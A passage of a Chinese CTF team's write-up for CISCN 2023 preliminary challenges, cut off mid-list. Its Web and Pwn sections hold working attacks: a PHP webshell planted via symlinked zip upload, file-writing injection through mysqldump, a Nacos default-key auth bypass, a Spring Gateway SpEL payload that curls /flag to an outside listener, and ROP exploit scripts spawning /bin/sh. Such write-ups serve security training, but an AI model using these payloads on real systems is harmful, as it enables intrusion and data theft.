0
点赞
收藏
分享

微信扫一扫

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec


第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci


文章目录

  • Web
  • unzip
  • dumpit
  • BackendService
  • Pwn
  • 烧烤摊儿
  • funcanary
  • shell web go
  • Reverse
  • ezbyte
  • babyre
  • Crypto
  • 基于国密SM2算法的密钥密文分发
  • 可信度量
  • Sign_in_passwd
  • Misc
  • 签到卡
  • 被生产加密的流量
  • 国粹
  • pyshell


Web

unzip

ln -s /var/www/html/ webshell
zip -ry webshell.zip webshell
curl url/upload.php -F"file=@webshell.zip"
mkdir 123
cd 123
mkdir webshell
echo '<?php @eval($_POST[1]);?>' > webshell/1.php
zip -ry webshell.zip webshell
curl url/upload.php -F"file=@webshell.zip"

curl url/1.php -d "1=system('cat /flag');"

dumpit

这个dump调用了系统命令的mysqldump,这个db参数又可控,直接写报错信息到指定位置搜索flag

/?db=\<\?\=phpinfo\(\)?\> 2> log/p.php&table_2_dump=

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_php_02

BackendService

Nacos结合Spring Cloud Gateway RCE

参考https://xz.aliyun.com/t/11493 首先登录平台利用nacos的默认JWT key bypass平台的认证

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_03


nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

生成jwt

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_04


得到payload

{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ0ZXN0IiwiZXhwIjoxNjc1MDgzODc3fQ.RIPoLpY9y_gf1VL8Cv_UxrYuVXjXItbD61DX2nZBsOo","tokenTtl": 18000,"globalAdmin": true,"username":"test"}

然后就是利用test进行登录

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_php_05


抓取返回包,改返回包状态码跟body,状态码改200,body改成上面的payload

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_06


放行就能登录,然后就是里面的RCE

先查看他的bootstrap.yml文件

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_07


里面有他支持的格式内容用到的name是backcfg、文件的类型是json

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_php_08


这个文件拿来改成json格式,然后在服务器上监听

{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "lb://backendservice",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'curl','http://xxx.xxx.xx.xxx:9999','-F','file=@/flag'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}

配置列表那边新增配置 Data ID为backcfg

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_php_09


然后发布,监听就能收到flag

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_spring_10

Pwn

烧烤摊儿

先去功能1 把啤酒购买数量变负数 在扣钱的时候 等于是在加钱
金额满足了 先进入功能4 满足功能5条件
可以进入功能5 打溢出 + ropchain

from pwn import * 

io = remote("123.56.238.150", 24576)
# io = process("./shaokao")

# 先去功能1 把啤酒购买数量变负数    在扣钱的时候 等于是在加钱
io.sendlineafter(b'> ', b'1')
io.sendline(b'1')
io.sendline(b'-10000')

# 金额满足了 先进入功能4 满足功能5条件
io.sendlineafter(b'> ', b'4')
io.sendlineafter(b'> ', b'5')#可以进入功能5 打溢出 + ropchain


# ropgadget --binary 文件路径 --ropchain
p = b''
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall

payload = cyclic(0x20+8) + p
io.sendline( payload)

io.interactive()

funcanary

  1. 有后门函数 0x1231可以执行 system(“/bin/cat flag”)
  2. 开启了canary防溢出保护

核心思路是 爆破canary 然后劫持返回地址 跳转执行后门函数

from pwn import *

io = remote("123.56.236.235", 20899)
# io = process("./funcanary")

# 爆破canary 逐个字节爆破
canary = b'\x00'
for i in range(7):
    for i in range(256):
        io.sendafter("welcome\n",cyclic(0x68) + canary + p8(i))
        recv = io.recvline()
        if b"smashing" not in recv:
            canary += p8(i)
            break

# 低4位覆盖返回地址为后门函数:0x1231 开了pie  要把0x?231中的?爆破出来
for i in range(0x10):
    retaddr = 0x0231 + i*0x1000
    io.sendafter("welcome\n",cyclic(0x68)+canary+cyclic(8)+ p16(retaddr))
    recv = io.recvline()
    if b'flag' in recv:
        log.info("flag找到")
        break
io.interactive()

shell web go

ida 8.2 打开go写的elf文件

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_php_11


将我们得输入进行加密

然后可以看到

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_spring_12


然后直接就是 先rc4加密 然后base64加密 这个时候我们就要获取我们加密得密文 直接 先base64解密 然后黑盒解出rc4解密 或者拿出密钥 然后直接内置解密就好

decry exp

import base64
from Crypto.Cipher import ARC4

b64_data = 'JLIX8pbSvYZu/WaG'

b64_Cipher_data = base64.b64decode(b64_data)

print(bytearray(b64_Cipher_data))

key = b'F1nallB1rd3K3y'

enc = ARC4.new(key)

res = enc.decrypt(b64_Cipher_data)

print(res)

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_13


然后程序会进入equal

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_php_14


这个函数存在溢出 然后就是普通的溢出打法

pwn sh

from pwn import *
import base64

# io = process("./pwn")
io = remote("123.56.135.185",29444)

key = "S33UAga1n@#!"

io.recvuntil("ciscnshell$ ")
io.sendline("cert nAcDsMicN " + key)

pop_rdi_ret_addr = 0x444fec
pop_rsi_ret_addr = 0x41e818
pop_rdx_ret_addr = 0x49e11d
pop_rax_ret_addr = 0x40d9e6
syscall = 0x40328c

pd = b"echo " + b"b" * 0x100 + b" " + b"b" * (0x123 - 0x20) + b"+" * (0x20)
pd += p64(pop_rdi_ret_addr) + p64(0)+ p64(pop_rsi_ret_addr) + p64(0xc000000000)+ p64(pop_rdx_ret_addr) + p64(8)+ p64(pop_rax_ret_addr) + p64(0)+ p64(syscall)+ p64(pop_rdi_ret_addr) + p64(0xc000000000)+ p64(pop_rsi_ret_addr) + p64(0)+ p64(pop_rdx_ret_addr) + p64(0)+ p64(pop_rax_ret_addr) + p64(0x3b)+ p64(syscall)

io.recvuntil("nightingale# ")
io.sendline(pd)

io.send("/bin/sh\x00")
io.interactive()

Reverse

ezbyte

静态分析,发现有input的调用,可以看出 输入的是一个 42位的字符串,但是除了这个函数就没有找到其他的函数对input进行判断了,开始动调

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_15

动态调试,看到,下面有一个 yes,猜测应该是正确后的输出,但是这里没有展示出来,并且想要进入到这个函数还有判断 r12等于0(因为 r13 通过异或变成了0)

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_16


参考: https://bbs.kanxue.com/thread-271891.htm#msg_header_h2_1 发现是 DWARF Expression

参考: http://43.138.162.163:8090/archives/2022-dsctfchu-sai-nothing-writeup

写出对应的脚本

通过rust脚本将其还原成 c代码

use std::{collections::HashMap, fs, fmt::Display, io::Write};
use std::process::Command;

use gimli::UnwindSection;
use object::{Object, ObjectSection};

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let mut arg = std::env::args();
    if arg.len() != 2 {
        panic!("Argument Error!")
    }
    let bin_data = fs::read(arg.nth(1).unwrap())?;
    let obj_file = object::File::parse(&*bin_data)?;
    let data = obj_file.section_by_name(".eh_frame").unwrap();
    let eh_frame = gimli::read::EhFrame::new(data.data()?, gimli::LittleEndian);
    let bases = gimli::BaseAddresses::default().set_eh_frame(data.address());
    let mut entries = eh_frame.entries(&bases);

    let mut file = fs::OpenOptions::new().append(false).truncate(true).write(true).create(true).open("./output.c")?;
    writeln!(file, "#include <stdint.h>")?;

    let mut cies = HashMap::new();
    while let Some(entry) = entries.next()? {
        if let gimli::CieOrFde::Fde(partial) = entry {
            let fde = partial.parse(|_, bases, o| {
                cies.entry(o)
                    .or_insert_with(|| eh_frame.cie_from_offset(bases, o))
                    .clone()
            })?;
            if fde.entry_len() < 100 {
                continue;
            }
            let mut instructions = fde.instructions(&eh_frame, &bases);
            use gimli::CallFrameInstruction::*;
            loop {
                match instructions.next() {
                    Err(e) => {
                        println!("Failed to decode CFI instruction: {}", e);
                        break;
                    }
                    Ok(Some(ValExpression {
                                register,
                                expression,
                            })) => {
                        println!(
                            "DW_CFA_val_expression ({}, ...)",
                            gimli::X86_64::register_name(register).unwrap_or("{unknown}")
                        );
                        display_val_expression(register, expression, &mut file)?;
                    }
                    Ok(None) => {
                        break;
                    }
                    _ => {}
                }
            }
        }
    }
    file.flush()?;

    Command::new("gcc")
        .arg("-O3")
        .arg("./output.c")
        .arg("-c")
        .spawn()?;

    Ok(())
}

#[derive(Clone, Copy)]
struct Val {
    id: u64,
}

impl Val {
    fn new(id: u64) -> Self {
        Val { id }
    }
}

struct ValGenerator {
    id: u64,
}

impl ValGenerator {
    fn new() -> Self {
        Self { id: 0 }
    }
    fn next(&mut self) -> Val {
        self.id += 1;
        Val::new(self.id - 1)
    }
}

impl Display for Val {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        write!(f, "v{}", self.id)
    }
}

fn display_val_expression<R>(target_reg: gimli::Register, exp: gimli::Expression<R>, w: &mut dyn Write) -> Result<(), Box<dyn std::error::Error>>
    where
        R: gimli::Reader,
{
    let mut val_generator = ValGenerator::new();
    let mut ops = exp.operations(gimli::Encoding { address_size: 8, format: gimli::Format::Dwarf64, version: 5 });
    let mut stack: Vec<Val> = Vec::new();
    writeln!(w, "uint64_t cal_{}(uint64_t r12, uint64_t r13, uint64_t r14, uint64_t r15){{", gimli::X86_64::register_name(target_reg).unwrap())?;
    writeln!(w, "    uint64_t rax=0,rbx=0;")?;
    loop {
        if let Ok(Some(op)) = ops.next() {
            match op {
                gimli::Operation::Drop => {
                    stack.pop();
                }
                gimli::Operation::Pick { index } => {
                    let val1 = stack.get(stack.len() - 1 - index as usize).unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={};", new_val, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Swap => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    stack.push(val1);
                    stack.push(val2);
                }
                gimli::Operation::Rot => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let val3 = stack.pop().unwrap();
                    stack.push(val1);
                    stack.push(val3);
                    stack.push(val2);
                }
                gimli::Operation::And => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}&{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Minus => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}-{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Neg => {
                    let val = stack.get(stack.len() - 1).unwrap();
                    writeln!(w, "    {}=-{};", val, val)?;
                }
                gimli::Operation::Not => {
                    let val = stack.get(stack.len() - 1).unwrap();
                    writeln!(w, "    {}=~{};", val, val)?;
                }
                gimli::Operation::Or => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}|{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Plus => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}+{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::PlusConstant { value } => {
                    let val = stack.get(stack.len() - 1).unwrap();
                    writeln!(w, "    {}+={}ull;", val, value)?;
                }
                gimli::Operation::Shl => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}<<{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Shr => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}>>{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Shra => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}=(uint64_t)((int64_t){}>>(int64_t){});", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Xor => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}^{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Eq => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}= {}=={}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Ge => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}>={}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Gt => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}>{}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Le => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}<={}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Lt => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}<{}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Ne => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}!={}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::UnsignedConstant { value } => {
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}ull;", new_val, value)?;
                    stack.push(new_val);
                }
                gimli::Operation::SignedConstant { value } => {
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}=(uint64_t){}ll;", new_val, value)?;
                    stack.push(new_val);
                }
                gimli::Operation::Register { register } => {
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={};", new_val, gimli::X86_64::register_name(register).unwrap_or("{error}"))?;
                    stack.push(new_val);
                }
                gimli::Operation::RegisterOffset { register, offset , .. } => {
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}=({}+{}ull);", new_val, gimli::X86_64::register_name(register).unwrap_or("{error}"), offset)?;
                    stack.push(new_val);
                }
                _ => todo!("{:?}", op)
            }
        } else {
            break;
        }
    }
    assert_eq!(stack.len(), 1);
    writeln!(w, "    return {};", stack.pop().unwrap())?;
    writeln!(w, "}}\n")?;
    Ok(())
}

得到转换后的c代码

#include <stdint.h>


uint64_t cal_r12(uint64_t r12, uint64_t r13, uint64_t r14, uint64_t r15){
	uint64_t rax=0,rbx=0;
	uint64_t v0=2616514329260088143ull;
	uint64_t v1=1237891274917891239ull;
	uint64_t v2=1892739ull;
	uint64_t v3=(r12+0ull);
	uint64_t v4=v2+v3;
	uint64_t v5=v1^v4;
	uint64_t v6=v0^v5;
	uint64_t v7=8502251781212277489ull;
	uint64_t v8=1209847170981118947ull;
	uint64_t v9=8971237ull;
	uint64_t v10=(r13+0ull);
	uint64_t v11=v9+v10;
	uint64_t v12=v8^v11;
	uint64_t v13=v7^v12;
	uint64_t v14=v6|v13;
	uint64_t v15=2451795628338718684ull;
	uint64_t v16=1098791727398412397ull;
	uint64_t v17=1512312ull;
	uint64_t v18=(r14+0ull);
	uint64_t v19=v17+v18;
	uint64_t v20=v16^v19;
	uint64_t v21=v15^v20;
	uint64_t v22=v14|v21;
	uint64_t v23=8722213363631027234ull;
	uint64_t v24=1890878197237214971ull;
	uint64_t v25=9123704ull;
	uint64_t v26=(r15+0ull);
	uint64_t v27=v25+v26;
	uint64_t v28=v24^v27;
	uint64_t v29=v23^v28;
	uint64_t v30=v22|v29;
	return v30;
}

得到的c代码有点丑,直接编译,查看反编译后的代码

uint64_t __cdecl cal_r12(uint64_t r12_0, uint64_t r13_0, uint64_t r14_0, uint64_t r15_0)
{
  return (r15_0 + 9123704) ^ 0x6336396431BE9AD9i64 | (r14_0 + 1512312) ^ 0x2D393663614447B1i64 | (r13_0 + 8971237) ^ 0x65342D6530C04912i64 | (r12_0 + 1892739) ^ 0x35626665394D17E8i64;
}

直接写exp

# 根据之前函数得到开头flag{ 和结尾 3861}
r15_0 = 0x6336396431BE9AD9 - 9123704
r14_0 = 0x2D393663614447B1 - 1512312
r13_0 = 0x65342D6530C04912 - 8971237
r12_0 = 0x35626665394D17E8 - 1892739

flag = 'flag{'
flag += bytes.fromhex(hex(r12_0).replace('0x', '')).decode()[::-1]
flag += bytes.fromhex(hex(r13_0).replace('0x', '')).decode()[::-1]
flag += bytes.fromhex(hex(r14_0).replace('0x', '')).decode()[::-1]
flag += bytes.fromhex(hex(r15_0).replace('0x', '')).decode()[::-1]
flag += '3861}'
print(flag)

babyre

打开xml文件,发现是 snap

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_spring_17


进入app标签中对应网址

点击Run Snap

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_18

导入解压出的xml文件

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_php_19


点击lock可以看到加密算法

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_20


将对应的变量展示出来

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_spring_21


点击左边这个模块,开始运行,拿到密文

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_22


exp

enc = [102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25, 81, 83, 7, 
    28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85, 87, 30]

flag = ''
for i in range(1, len(enc)):
    enc[i] ^= enc[i-1]

for i in range(len(enc)):
    flag += chr(enc[i])

print(flag)
# flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

Crypto

基于国密SM2算法的密钥密文分发

curl http://39.105.187.49:15721/api/login --data-urlencode "name=卢同学&school=XXXX大学"

请求ID

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_23


https://const.net.cn/tool/sm2/genkey/ 生成SM2公钥

curl http://39.105.187.49:15721/api/allkey  -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8&publickey=EAE3EEF52E2696299C112F406D8F939D37CE77D69D0119E350CB72F1AD8C4FF02DADB9540BE6AA694CF5E98910C4CFE0DFFD676CC7798CBD7349048098EDB923"

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_24

curl http://39.105.187.49:15721/api/quantum  -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8&publickey=EAE3EEF52E2696299C112F406D8F939D37CE77D69D0119E350CB72F1AD8C4FF02DADB9540BE6AA694CF5E98910C4CFE0DFFD676CC7798CBD7349048098EDB923"

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_25

curl http://39.105.187.49:15721/api/search  -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8"

拿到quantumString

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_26


然后在请求

curl http://39.105.187.49:15721/api/check  -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8&quantumString=a13fbc06c2e802ef99ef2a14bf4bab79"

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_php_27


然后再次请求

/api/search

curl http://39.105.187.49:15721/api/search  -d "id=3a5a853e-2c06-452a-9771-3c9d0a7744a8"

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_28


得到flag

flag{c1e1b81b-3fe2-46b1-b316-743376e251c4}

可信度量

非预期,直接从根目录检索flag{关键字

grep -ra "flag{" /

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_29

Sign_in_passwd

base64换表

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_30

Misc

签到卡

根据公众号提示,直接输入print(open("/flag").read())

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_2023 CISCN_31

被生产加密的流量

modbus前几个请求包的modbus.word_cnt字段带有部分base32,提取出来:MMYWMX3GNEYWOXZRGAYDA=

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_spring_32


第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_ci_33

flag{c1f_fi1g_1000}

国粹

a.pngk.png的长度是一样的,总共341张牌,牌的类型根据题目.png总共有42种,而题目.png有两层,猜测第一层为Y轴,第二层为X

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_php_34


然后以a.pngk.png为坐标画图,总共341个坐标

先将所有牌按照题目.png排序编号

一萬 1   二萬 2   三萬 3   四萬 4   五萬 5
六萬 6   七萬 7   八萬 8   九萬 9   一饼 10
二饼 11  三饼 12  四饼 13  五饼 14  六饼 15
七饼 16  八饼 17  九饼 18  幺鸡 19  二条 20
三条 21  四条 22  五条 23  六条 24  七条 25
八条 26  九条 27  東   28  南   29  西   30
北   31  中   32  發   33  白板 34  春   35
夏   36  秋   37  冬   38  梅   39  蘭   40
竹   41  菊   42

然后提取坐标数据,这里纯手工提取的(当时没有找到比较好的方法处理)

第十六届全国大学生信息安全竞赛创新实践能力赛 初赛 Writeup By AheadSec_spring_35

(1,4) (1,5) (1,10) (1,30) (2,3) (2,4) (2,5) (2,6) (2,10) (2,29) (2,30) (3,3) (3,4) (3,10) (3,16) (3,17) (3,22) (3,23) (3,24) (3,25) (3,29) (3,30) (4,2) (4,3) (4,4) (4,5) (4,10) (4,15) (4,16) (4,18) (4,21) (4,22) (4,24) (4,25) (4,29) (4,30) (5,3) (5,4) (5,10) (5,15) (5,17) (5,18) (5,19) (5,21) (5,22) (5,24) (5,28) (5,29) (6,3) (6,4) (6,10) (6,15) (6,16) (6,18) (6,19) (6,21) (6,22) (6,24) (6,29) (7,3) (7,4) (7,10) (7,11) (7,12) (7,13) (7,15) (7,18) (7,19) (7,22) (7,23) (7,24) (7,25) (7,29) (7,30) (8,3) (8,4) (8,11) (8,12) (8,15) (8,16) (8,17) (8,18) (8,19) (8,20) (8,25) (8,29) (8,30) (9,21) (9,22) (9,24) (9,25) (9,30) (9,31) (10,23) (10,24) (12,22) (12,23) (12,24) (12,25) (13,2) (13,3) (13,4) (13,5) (13,9) (13,10) (13,11) (13,12) (13,16) (13,17) (13,18) (13,19) (13,24) (13,25) (14,2) (14,5) (14,6) (14,9) (14,12) (14,19) (14,23) (14,24) (15,5) (15,9) (15,12) (15,18) (15,19) (15,22) (15,23) (16,4) (16,5) (16,9) (16,12) (16,17) (16,18) (16,23) (16,24) (17,3) (17,4) (17,9) (17,12) (17,16) (17,17) (17,24) (17,25) (18,3) (18,9) (18,12) (18,16) (18,25) (19,3) (19,4) (19,5) (19,6) (19,9) (19,10) (19,11) (19,12) (19,16) (19,17) (19,18) (19,19) (19,21) (19,22) (19,23) (19,24) (19,25) (20,10) (20,11) (22,3) (22,4) (22,5) (22,6) (22,10) (22,11) (22,12) (22,17) (22,18) (22,19) (22,24) (22,25) (23,3) (23,6) (23,7) (23,9) (23,10) (23,16) (23,17) (23,19) (23,20) (23,22) (23,23) (23,24) (23,25) (24,3) (24,6) (24,7) (24,9) (24,10) (24,16) 